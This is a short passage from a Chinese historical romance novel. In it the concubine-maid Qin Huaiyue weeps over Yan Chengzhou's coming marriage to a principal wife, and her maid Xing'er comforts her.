十五年来,她一直是在他的娇宠下长大,她就是喜欢晏澄洲明目张胆的偏爱,并且已经习惯了一个人独享这份偏爱。 可是现在马上就有另一个姑娘,要把她的晏哥哥分走一半。 她又有什么资格反对呢?一向只有正室厌恶妾室通房的份,她一个通房,难道还要拦着未来的正头娘子进门不成? 想着想着,秦淮月咬紧了唇,水光在眼中打转,眼看又要落下泪来。 杏儿看着秦淮月哭,心里也跟着难受,劝她道:“娘子别难过,现下娘子最要紧的,还是赶紧把身体养好,千万别为了那个负心汉气坏了身子。” 秦淮月拿袖子揩了揩眼泪,轻轻地嗯了一声。 倒霉的晏澄洲,莫名其妙地就被这主仆两人记恨上了。